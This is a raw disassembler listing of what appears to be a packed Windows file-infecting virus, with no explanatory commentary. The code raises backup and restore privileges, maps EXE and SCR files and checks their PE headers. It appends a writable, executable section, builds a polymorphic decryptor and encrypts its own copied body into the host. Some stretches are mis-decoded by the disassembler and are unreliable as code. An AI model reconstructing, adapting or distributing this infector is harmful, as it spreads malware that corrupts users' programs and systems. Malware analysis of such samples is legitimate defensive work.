loc_3151CEA9: ; CODE XREF: UPX2:3151CE7Dj mov ax, 0E0FFh or ah, [ebp+1039B8h] stosw call sub_3151C871 test dword ptr [ebp+1039C0h], 20h jz short loc_3151CF35 test dword ptr [ebp+1039C0h], 80000000h jz short loc_3151CEF1 mov eax, edi mov ecx, [ebp+1042F0h] sub eax, ecx mov [ecx-4], eax call sub_3151C8E3 call sub_3151C871 mov al, 0C3h stosb call sub_3151C871 loc_3151CEF1: ; CODE XREF: UPX2:3151CED0j mov eax, edi mov ecx, [ebp+1042C4h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+1039B8h] stosb call sub_3151C871 test dword ptr [ebp+1039C0h], 800000h jz short loc_3151CF24 mov ax, 0C350h or al, [ebp+1039B8h] jmp short loc_3151CF2E ; --------------------------------------------------------------------------- loc_3151CF24: ; CODE XREF: UPX2:3151CF16j mov ax, 0E0FFh or ah, [ebp+1039B8h] loc_3151CF2E: ; CODE XREF: UPX2:3151CF22j stosw call sub_3151C871 loc_3151CF35: ; CODE XREF: UPX2:3151CEC4j test dword ptr [ebp+1039C0h], 2000003h jz short loc_3151CFA0 mov ecx, edi mov eax, [ebp+1042DCh] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+1039C0h], 1000000h jnz short loc_3151CF6A lea eax, [ebp+1039B8h] loc_3151CF62: ; CODE XREF: UPX2:3151CF68j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_3151CF62 loc_3151CF6A: ; CODE XREF: UPX2:3151CF5Aj lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_3151CF7F mov ax, 0C031h stosw loc_3151CF7F: ; CODE XREF: UPX2:3151CF77j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_3151CF98 mov ax, 0C031h stosw loc_3151CF98: ; CODE XREF: UPX2:3151CF90j mov al, 0C3h stosb call sub_3151C871 loc_3151CFA0: ; CODE XREF: UPX2:3151CF3Fj lea eax, [ebp+1039CCh] test dword ptr [ebp+1039C0h], 20000000h jnz short loc_3151CFB8 push edi sub edi, eax pop eax jmp short loc_3151CFD1 ; --------------------------------------------------------------------------- loc_3151CFB8: ; CODE XREF: UPX2:3151CFB0j mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+1042E4h] add [ebp+1042C4h], edx add [ecx], edi mov eax, [esp+4] loc_3151CFD1: ; CODE XREF: UPX2:3151CFB6j mov [ebp+101069h], edi mov edi, [ebp+1042C8h] sub eax, [ebp+1042C4h] test dword ptr [ebp+1039C0h], 40h jz short loc_3151CFF1 neg eax loc_3151CFF1: ; CODE XREF: UPX2:3151CFEDj stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_3151CFF5 proc near ; CODE XREF: sub_3151D55F+336p push esi push edi cmp dword ptr [ebp+104300h], 0 jz loc_3151D1DD call near ptr loc_3151D015+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_3151D015: ; CODE XREF: sub_3151CFF5+Fp add bh, bh sub_3151CFF5 endp ; sp-analysis failed xchg eax, ebp scasb db 3Eh adc [eax], al mov [ebp+104314h], eax push ebx mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call near ptr dword_3151C514+4 mov edx, [ebp+1042F4h] pop ebx add eax, [edx+0Ch] mov [ebp+104318h], eax add eax, [edx+8] mov [ebp+10431Ch], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call near ptr dword_3151C514+4 mov edi, [ebp+1042F4h] push esi call near ptr dword_3151C514+4 mov edx, [ebp+1042F4h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_3151D1DD jz loc_3151D1DD add esi, [ebp+1042F8h] add esi, [ebp+1042B4h] ; START OF FUNCTION CHUNK FOR sub_3151D1AE loc_3151D08F: ; CODE XREF: sub_3151D1AE+29j lodsb cmp al, 0E8h jnz loc_3151D13A lea eax, [esi+4] sub eax, [ebp+1042B4h] add eax, [esi] push eax call near ptr dword_3151C514+4 cmp dword ptr [ebp+1042F4h], 0 jnz short loc_3151D0BD cmp eax, [edi+0Ch] jnb loc_3151D1D6 jmp short loc_3151D0C9 ; --------------------------------------------------------------------------- loc_3151D0BD: ; CODE XREF: sub_3151D1AE-FEj cmp [ebp+1042F4h], edx jnz loc_3151D1D6 loc_3151D0C9: ; CODE XREF: sub_3151D1AE-F3j add eax, [ebp+1042B4h] cmp word ptr [eax], 25FFh jnz loc_3151D1D6 mov eax, [eax+2] sub eax, [ebx+34h] push eax call near ptr dword_3151C514+4 cmp [ebp+1042F4h], edi jnz loc_3151D1D6 add eax, [ebp+1042F8h] add eax, [ebp+1042B4h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_3151D1D6 cmp eax, [edi+8] jnb loc_3151D1D6 loc_3151D112: ; CODE XREF: sub_3151D1AE+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+1042B4h] push edx push eax push dword ptr [ebp+104314h] call dword ptr [ebp+103E6Eh] pop edx test eax, eax jnz loc_3151D1EC jmp loc_3151D1D6 ; --------------------------------------------------------------------------- loc_3151D13A: ; CODE XREF: sub_3151D1AE-11Cj cmp al, 0FFh jnz loc_3151D1D6 cmp byte ptr [esi], 15h jnz loc_3151D1D6 mov eax, [esi+1] sub eax, [ebx+34h] push eax call near ptr dword_3151C514+4 cmp [ebp+1042F4h], edi jnz short loc_3151D1D6 add eax, [ebp+1042F8h] add eax, [ebp+1042B4h] mov [ebp+104320h], eax mov eax, [eax] cmp eax, [ebp+104318h] jb short loc_3151D183 cmp eax, [ebp+10431Ch] jb short loc_3151D1EC loc_3151D183: ; CODE XREF: sub_3151D1AE-35j cmp eax, 70000000h jb short loc_3151D1C1 call sub_3151D1AE lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+104320h] jnz short locret_3151D1AD add esp, 10h push dword ptr [ecx] pop [esp-8+arg_20] popa jmp short loc_3151D1C8 ; --------------------------------------------------------------------------- locret_3151D1AD: ; CODE XREF: sub_3151D1AE-Fj retn ; END OF FUNCTION CHUNK FOR sub_3151D1AE ; =============== S U B R O U T I N E ======================================= sub_3151D1AE proc near ; CODE XREF: sub_3151D1AE-24p var_10 = dword ptr -10h arg_20 = dword ptr 24h ; FUNCTION CHUNK AT 3151D08F SIZE 0000011F BYTES pop dword ptr [ebp+1042D4h] pusha mov esi, [ebp+1042B4h] call near ptr dword_3151C514+10Bh popa loc_3151D1C1: ; CODE XREF: sub_3151D1AE-26j test eax, 80000000h jnz short loc_3151D1D6 loc_3151D1C8: ; CODE XREF: sub_3151D1AE-3j sub eax, [edi+0Ch] jb short loc_3151D1D6 cmp eax, [edi+8] jb loc_3151D112 loc_3151D1D6: ; CODE XREF: sub_3151D1AE-F9j ; sub_3151D1AE-EBj ... dec ecx jnz loc_3151D08F loc_3151D1DD: ; CODE XREF: sub_3151CFF5+9j ; UPX2:3151D077j ... mov edi, [esp+0] and dword ptr [edi+29C0h], 0FFBFFFFFh jmp short loc_3151D22E ; --------------------------------------------------------------------------- loc_3151D1EC: ; CODE XREF: sub_3151D1AE-7Fj ; sub_3151D1AE-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+10h+var_10] xchg eax, [ebp+104300h] mov [ebp+1042FCh], eax lea edi, [ecx+29C4h] add eax, [ebp+1042B4h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+54h], 5 mov [esi-4], eax loc_3151D22E: ; CODE XREF: sub_3151D1AE+3Cj pop edi pop esi retn sub_3151D1AE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3151D231 proc near ; CODE XREF: UPX2:3151D532p ; FUNCTION CHUNK AT 3151D35B SIZE 00000002 BYTES push edi call dword ptr [ebp+103EBAh] shr eax, 1Fh jnz loc_3151D35B push eax push esp push 28h push 0FFFFFFFFh call dword ptr [ebp+103F1Ah] test eax, eax pop edi js loc_3151D35B call sub_3151B6B3 call near ptr loc_3151D26C+5 push ebx db 65h jz short near ptr unk_3151D2AA imul ebp, [ebp+53h], 72756365h loc_3151D26C: ; CODE XREF: sub_3151D231+2Ap imul esi, [ecx+edi*2+41h], 88B5FF00h sub_3151D231 endp ; sp-analysis failed inc edx adc [eax], al call dword ptr [ebp+103E6Eh] mov [ebp+104290h], eax call near ptr loc_3151D2A0+1 push ebx db 65h push esp popa imul esp, [ebp+4Fh], 77h outsb db 65h jb short loc_3151D307 push 72507069h imul esi, [esi+69h], 6567656Ch loc_3151D2A0: ; CODE XREF: UPX2:3151D283p add [edi-18h], dl sub eax, ebp ; --------------------------------------------------------------------------- db 0FFh db 0FFh db 0E8h ; db 13h db 0 unk_3151D2AA db 0 ; CODE XREF: sub_3151D231+30j db 0 db 53h ; S db 65h ; e db 52h ; R db 65h ; e db 73h ; s db 74h ; t db 6Fh ; o db 72h ; r db 65h ; e db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0Bh db 0E8h ; db 0FFh db 0FFh db 0E8h ; db 12h db 0 db 0 db 0 db 53h ; S db 65h ; e db 42h ; B db 61h ; a db 63h ; c db 6Bh ; k db 75h ; u db 70h ; p db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0EEh ; db 0E7h ; db 0FFh db 0FFh db 0E8h ; db 18h db 0 db 0 db 0 db 53h ; S db 65h ; e db 43h ; C db 68h ; h db 61h ; a db 6Eh ; n db 67h ; g db 65h ; e db 4Eh ; N db 6Fh ; o db 74h ; t db 69h ; i db 66h ; f db 79h ; y db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0CBh ; db 0E7h ; db 0FFh db 0FFh db 50h ; P db 54h ; T ; --------------------------------------------------------------------------- loc_3151D307: ; CODE XREF: UPX2:3151D291j lea eax, [ebp+103DCCh] push 64h push eax push 1 push edi call dword ptr [ebp+103F26h] mov [esp], edi call dword ptr [ebp+103E62h] sub al, al lea edi, [ebp+104184h] push eax push eax push eax push dword ptr [ebp+103DCCh] push 40001h push esp push 1 push edi call dword ptr [ebp+104290h] push esp push 4 push edi call dword ptr [ebp+104290h] add esp, 14h push dword ptr [ebp+104288h] call dword ptr [ebp+103E9Eh] ; START OF FUNCTION CHUNK FOR sub_3151D231 loc_3151D35B: ; CODE XREF: sub_3151D231+Aj ; sub_3151D231+1Fj pop edi retn ; END OF FUNCTION CHUNK FOR sub_3151D231 ; =============== S U B R O U T I N E ======================================= sub_3151D35D proc near ; CODE XREF: UPX2:3151D52Bp ; UPX2:3151D537p ... lea esi, [ebp+104184h] push esi call dword ptr [ebp+103EA2h] cmp eax, 0FFFFFFFFh jz locret_3151D42E mov [ebp+104294h], eax push 0 push esi call dword ptr [ebp+103EDEh] test eax, eax jz locret_3151D42E sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+103E7Eh] cmp eax, 0FFFFFFFFh jz loc_3151D9AF mov [ebp+104298h], eax lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push eax call dword ptr [ebp+103EAAh] cmp eax, 0FFFFFFFFh jz loc_3151D9A3 push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EA6h] cmp eax, 0FFFFFFFFh jz loc_3151D9A3 mov [ebp+1042ACh], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+104298h] call dword ptr [ebp+103E82h] test eax, eax jz loc_3151D9A3 xor ecx, ecx mov [ebp+1042B0h], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+103ECAh] test eax, eax jz loc_3151D97B mov [ebp+1042B4h], eax locret_3151D42E: ; CODE XREF: sub_3151D35D+10j ; sub_3151D35D+27j ... retn sub_3151D35D endp ; --------------------------------------------------------------------------- loc_3151D42F: ; CODE XREF: sub_3151D55F+188p ; sub_3151D55F+2A0p mov eax, 7327h mov ecx, [ebx+38h] ; --------------------------------------------------------------------------- db 0F7h ; db 85h ; db 0C0h ; db 39h ; 9 db 10h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- and [ebp+6], dh add eax, [ebp+101069h] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+1042C0h], eax mov eax, 29CBh mov ecx, [ebx+3Ch] add eax, [ebp+101069h] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+1042B8h], eax retn ; =============== S U B R O U T I N E ======================================= sub_3151D474 proc near ; CODE XREF: sub_3151D55F:loc_3151D5D4p ; sub_3151D55F+1B4p movzx ecx, word ptr [ebx+6] stc loc_3151D479: ; CODE XREF: sub_3151D474+23j jecxz short locret_3151D4B0 lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_3151D4B0 cmp dword ptr [edx+0Ch], 1 jb short loc_3151D479 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+1042ACh] locret_3151D4B0: ; CODE XREF: sub_3151D474:loc_3151D479j ; sub_3151D474+1Dj ... retn sub_3151D474 endp ; =============== S U B R O U T I N E ======================================= sub_3151D4B1 proc near ; CODE XREF: UPX2:3151D549p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_3151D4B1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_3151D4BE: ; CODE XREF: UPX2:3151D4DFj mov ecx, edi jmp short loc_3151D4CD ; --------------------------------------------------------------------------- lea edi, [ebp+104184h] cld loc_3151D4C9: ; CODE XREF: UPX2:3151D4DBj mov ebx, edi xor ecx, ecx loc_3151D4CD: ; CODE XREF: UPX2:3151D4C0j ; UPX2:3151D4E3j lodsb cmp al, 61h jb short loc_3151D4D8 cmp al, 7Ah ja short loc_3151D4D8 sub al, 20h loc_3151D4D8: ; CODE XREF: UPX2:3151D4D0j ; UPX2:3151D4D4j stosb cmp al, 5Ch jz short loc_3151D4C9 cmp al, 2Eh jz short loc_3151D4BE cmp al, 0 jnz short loc_3151D4CD jecxz short locret_3151D4B0 mov eax, [ecx] cmp eax, 455845h jz short loc_3151D4FB cmp eax, 524353h jnz locret_3151D42E loc_3151D4FB: ; CODE XREF: UPX2:3151D4EEj mov eax, [ebx] cmp eax, 434E4957h jz locret_3151D42E cmp eax, 4E554357h jz locret_3151D42E cmp eax, 32334357h jz locret_3151D42E cmp eax, 4F545350h jz locret_3151D42E xor ebx, ebx call sub_3151D35D jnz short loc_3151D542 call sub_3151D231 call sub_3151D35D jz locret_3151D42E loc_3151D542: ; CODE XREF: UPX2:3151D530j xor edx, edx call sub_3151D55F call sub_3151D4B1 call $+5 pop ebp sub ebp, 10344Fh jmp loc_3151D959 ; =============== S U B R O U T I N E ======================================= sub_3151D55F proc near ; CODE XREF: UPX2:3151D544p var_1C = dword ptr -1Ch push dword ptr fs:[edx] mov esi, [ebp+1042B4h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_3151D959 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_3151D959 test dword ptr [ebx+16h], 2000h jnz loc_3151D959 test byte ptr [ebx+5Ch], 2 jz loc_3151D959 mov eax, [ebx+8] cmp eax, 0A0A0A0A0h jz loc_3151D959 cmp eax, 20202020h jz loc_3151D959 mov ecx, [ebx+0C8h] jecxz short loc_3151D5D4 push ecx call near ptr dword_3151C514+4 add ecx, [ebp+1042F8h] add ecx, esi and dword ptr [ecx+40h], 0 and dword ptr [ecx+44h], 0 loc_3151D5D4: ; CODE XREF: sub_3151D55F+5Dj call sub_3151D474 jb loc_3151D959 and dword ptr [ebp+1042FCh], 0 mov eax, [edx+8] mov ecx, [edx+10h] sub eax, ecx jnb short loc_3151D5F4 xor eax, eax jmp short loc_3151D5F9 ; --------------------------------------------------------------------------- loc_3151D5F4: ; CODE XREF: sub_3151D55F+8Fj add ecx, eax mov [edx+10h], ecx loc_3151D5F9: ; CODE XREF: sub_3151D55F+93j mov [ebp+1042BCh], eax add ecx, [edx+0Ch] mov eax, 10000h push ecx call near ptr dword_3151BC54+43h xor [ebp+1039BEh], dl mov cl, 20h xor [ebp+1039BFh], dh loc_3151D61B: ; CODE XREF: sub_3151D55F+D5j push 20h dec cl pop eax js short loc_3151D636 call near ptr dword_3151BC54+43h test edx, edx setz dl shl edx, cl xor [ebp+1039C0h], edx jmp short loc_3151D61B ; --------------------------------------------------------------------------- loc_3151D636: ; CODE XREF: sub_3151D55F+C1j test dword ptr [ebp+1039C0h], 2000000h jz short loc_3151D664 test dword ptr [ebp+1039C0h], 3 jnz short loc_3151D65A and dword ptr [ebp+1039C0h], 0F7FFFFFFh jmp short loc_3151D664 ; --------------------------------------------------------------------------- loc_3151D65A: ; CODE XREF: sub_3151D55F+EDj or dword ptr [ebp+1039C0h], 10000000h loc_3151D664: ; CODE XREF: sub_3151D55F+E1j ; sub_3151D55F+F9j ... push 6 pop ecx loc_3151D66A: ; CODE XREF: sub_3151D55F+129j push 6 pop eax call near ptr dword_3151BC54+43h mov al, [ebp+1039B8h] xchg al, [edx+ebp+1039B8h] mov [ebp+1039B8h], al loop loc_3151D66A test dword ptr [ebp+1039C0h], 8 jnz short loc_3151D69F cmp byte ptr [ebp+1039BAh], 1 jz short loc_3151D664 loc_3151D69F: ; CODE XREF: sub_3151D55F+135j test dword ptr [ebp+1039C0h], 10000000h jz short loc_3151D6C6 cmp byte ptr [ebp+1039B8h], 5 jz short loc_3151D664 cmp byte ptr [ebp+1039B9h], 5 jz short loc_3151D664 cmp byte ptr [ebp+1039BAh], 5 jz short loc_3151D664 loc_3151D6C6: ; CODE XREF: sub_3151D55F+14Aj test dword ptr [ebp+1039C0h], 400000h jz short loc_3151D6DB cmp byte ptr [ebp+1039B8h], 2 ja short loc_3151D664 loc_3151D6DB: ; CODE XREF: sub_3151D55F+171j and dword ptr [ebp+104300h], 0 call loc_3151C959 call loc_3151D42F call sub_3151D962 mov ebx, [ebp+1042B8h] add ebx, [ebp+1042BCh] call sub_3151D35D jz loc_3151D959 mov esi, [ebp+1042B4h] mov ebx, [esi+3Ch] add ebx, esi call sub_3151D474 jb loc_3151D959 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+1039C0h], 20000000h jnz short loc_3151D74F mov [ebp+104304h], edi lea esi, [ebp+1039CCh] mov ecx, [ebp+101069h] rep movsb loc_3151D74F: ; CODE XREF: sub_3151D55F+1DAj push edi mov ecx, 0A73h lea esi, [ebp+101000h] rep movsd mov cl, 0 jecxz short loc_3151D763 rep movsb loc_3151D763: ; CODE XREF: sub_3151D55F+200j test dword ptr [ebp+1039C0h], 20000000h jz loc_3151D821 push dword ptr [ebx+28h] call near ptr dword_3151C514+4 mov edx, [ebp+1042F4h] test edx, edx jz loc_3151D821 mov esi, [ebp+1042B4h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_3151D7A0 xor ecx, ecx loc_3151D7A0: ; CODE XREF: sub_3151D55F+23Dj add esi, [edx+14h] cmp ecx, [ebp+101069h] mov ecx, [ebp+101069h] jb short loc_3151D807 mov edi, [esp+1Ch+var_1C] and dword ptr [ebp+101069h], 0 and dword ptr [edi+69h], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, [ebp+1042C8h] test dword ptr [ebp+1039C0h], 40h jz short loc_3151D7E0 neg dword ptr [eax] loc_3151D7E0: ; CODE XREF: sub_3151D55F+27Dj add esi, [edx+0Ch] sub [eax], esi mov [ebp+104300h], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+1039C0h], 40h jz short loc_3151D7FE neg dword ptr [eax] loc_3151D7FE: ; CODE XREF: sub_3151D55F+29Bj push ecx call loc_3151D42F pop ecx jmp short loc_3151D813 ; --------------------------------------------------------------------------- loc_3151D807: ; CODE XREF: sub_3151D55F+250j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_3151D813: ; CODE XREF: sub_3151D55F+2A6j lea esi, [ebp+1039CCh] mov [ebp+104304h], edi rep movsb loc_3151D821: ; CODE XREF: sub_3151D55F+20Ej ; sub_3151D55F+224j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+137h] cmp dl, [ebp+1039BEh] jnz short loc_3151D83A imul edx, 12345678h loc_3151D83A: ; CODE XREF: sub_3151D55F+2D3j mov [eax-19h], dx call sub_3151B224 pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+1039C0h], 20000000h lea eax, [ecx+5] jnz short loc_3151D86C mov [ebp+104300h], ecx add eax, [ebp+101069h] and dword ptr [edi+69h], 0 loc_3151D86C: ; CODE XREF: sub_3151D55F+2F8j sub eax, [ebx+28h] mov [edi+54h], eax test dword ptr [ebp+103F7Ch], 1 jz short loc_3151D888 mov dword ptr [ebx+8], 0A0A0A0A0h loc_3151D888: ; CODE XREF: sub_3151D55F+320j test dword ptr [ebp+1039C0h], 400000h jz short loc_3151D89B push edx call sub_3151CFF5 pop edx loc_3151D89B: ; CODE XREF: sub_3151D55F+333j mov ecx, [ebp+104300h] jecxz short loc_3151D8A8 mov [ebx+28h], ecx jmp short loc_3151D8B5 ; --------------------------------------------------------------------------- loc_3151D8A8: ; CODE XREF: sub_3151D55F+342j mov ecx, [ebp+1042FCh] jecxz short loc_3151D8B2 jmp short loc_3151D8B5 ; --------------------------------------------------------------------------- loc_3151D8B2: ; CODE XREF: sub_3151D55F+34Fj mov ecx, [ebx+28h] loc_3151D8B5: ; CODE XREF: sub_3151D55F+347j ; sub_3151D55F+351j test dword ptr [ebp+1039C0h], 3 jz short loc_3151D8D5 mov eax, [ebp+104304h] add ecx, [ebp+1042ECh] add eax, [ebp+1042E8h] add [eax], ecx loc_3151D8D5: ; CODE XREF: sub_3151D55F+360j mov ecx, [edx+10h] mov eax, [ebp+1042B8h] cmp [edx+8], ecx jnb short loc_3151D8E6 mov [edx+8], ecx loc_3151D8E6: ; CODE XREF: sub_3151D55F+382j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+1042C0h] push 29CCh add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+1039BEh] test dword ptr [ebp+1039C0h], 20000000h jz short loc_3151D917 add ecx, [ebp+101069h] loc_3151D917: ; CODE XREF: sub_3151D55F+3B0j mov dh, 0 test dword ptr [ebp+1039C0h], 20000h jnz short loc_3151D939 inc dh test dword ptr [ebp+1039C0h], 40000h jnz short loc_3151D939 mov dh, [ebp+1039BFh] loc_3151D939: ; CODE XREF: sub_3151D55F+3C4j ; sub_3151D55F+3D2j test dword ptr [ebp+1039C0h], 4000h jnz short loc_3151D950 loc_3151D945: ; CODE XREF: sub_3151D55F+3EDj mov al, [edi] add al, dl stosb add dl, dh loop loc_3151D945 jmp short loc_3151D959 ; --------------------------------------------------------------------------- loc_3151D950: ; CODE XREF: sub_3151D55F+3E4j ; sub_3151D55F+3F8j mov al, [edi] xor al, dl stosb add dl, dh loop loc_3151D950 loc_3151D959: ; CODE XREF: UPX2:3151D55Aj ; sub_3151D55F+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_3151D55F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3151D962 proc near ; CODE XREF: sub_3151D55F+18Dp cmp dword ptr [ebp+104298h], 0 jz locret_3151D42E push dword ptr [ebp+1042B4h] call dword ptr [ebp+103EEEh] loc_3151D97B: ; CODE XREF: sub_3151D35D+C5j push dword ptr [ebp+1042B0h] call dword ptr [ebp+103E62h] lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EE2h] loc_3151D9A3: ; CODE XREF: sub_3151D35D+6Bj ; sub_3151D35D+82j ... push dword ptr [ebp+104298h] call dword ptr [ebp+103E62h] loc_3151D9AF: ; CODE XREF: sub_3151D35D+45j lea esi, [ebp+104184h] push dword ptr [ebp+104294h] push esi call dword ptr [ebp+103EDEh] and dword ptr [ebp+104298h], 0 retn sub_3151D962 endp ; --------------------------------------------------------------------------- dw 0E8h dd 5D000000h, 0ED81016Ah, 1038CBh, 0C10FF058h, 10158885h dd 0C3C08500h, 0F0FFC883h, 8885C10Fh, 0C3001015h, 2A00103Dh dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h, 575FFFFh dd 0FFFAB5E8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h, 104184B5h dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h dd 0FF505200h, 103F2E95h, 8C48300h, 3F5C3E81h, 3755C3Fh dd 0E804C683h, 0FFFFFA62h, 0FFFF7FE8h, 0B8C361FFh, 74h dd 2FB8B1EBh, 0E8000000h, 1Dh, 0B80020C2h, 30h, 10E8h dd 24C200h, 185B8h, 3E800h, 2CC20000h, 24548D00h, 832ECD0Ch dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 0A2ED811Ah dd 0E8001039h, 0FFFFE0B3h, 4C261h, 5060103h, 4D160207h dd 0DF2A4EE3h, 119415FFh, 0FF8B0100h, 119h dup(0) aBasenamedobjec: unicode 0, <\BaseNamedObjects\VtSect>,0 dw 9B47h dd 8AD7C80h, 3317C83h, 0ADA07C91h, 7C80h, 0 dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h, 42C7C80h dd 6377C81h, 4B0F7C81h, 0C0587C86h, 0E7EC7C80h, 0ABDE7C80h dd 153C7C80h, 0A777C81h, 1C457C81h, 0B6A17C83h, 8FF7C80h dd 5DCA7C86h, 11DA7C83h, 2ADE7C81h, 1BA57C81h, 1D777C82h dd 0B9057C80h, 0BB767C80h, 9E17C80h, 3DE57C83h, 3F587C86h dd 27827C86h, 1CB87C81h, 24427C83h, 0B1C7C80h, 0B9747C81h dd 9A517C80h, 0D877C80h, 0D4607C81h, 0D6827C90h, 0D7547C90h dd 0D7697C90h, 0D7937C90h, 7C90h, 0DC550000h, 0DCFD7C90h dd 0DD907C90h, 0DDBA7C90h, 0DEB67C90h, 0E0457C90h, 0EA327C90h dd 30C67C90h, 7C91h, 14h dup(0) dd 320030h, 3151E090h, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 740056h dd 650053h, 740063h, 0D3h dup(0) dd offset sub_3151B104 dd 12FCh dup(0) UPX2 ends ; Section 4. (virtual address 00023000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00023000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31523000h align 2000h _idata2 ends end start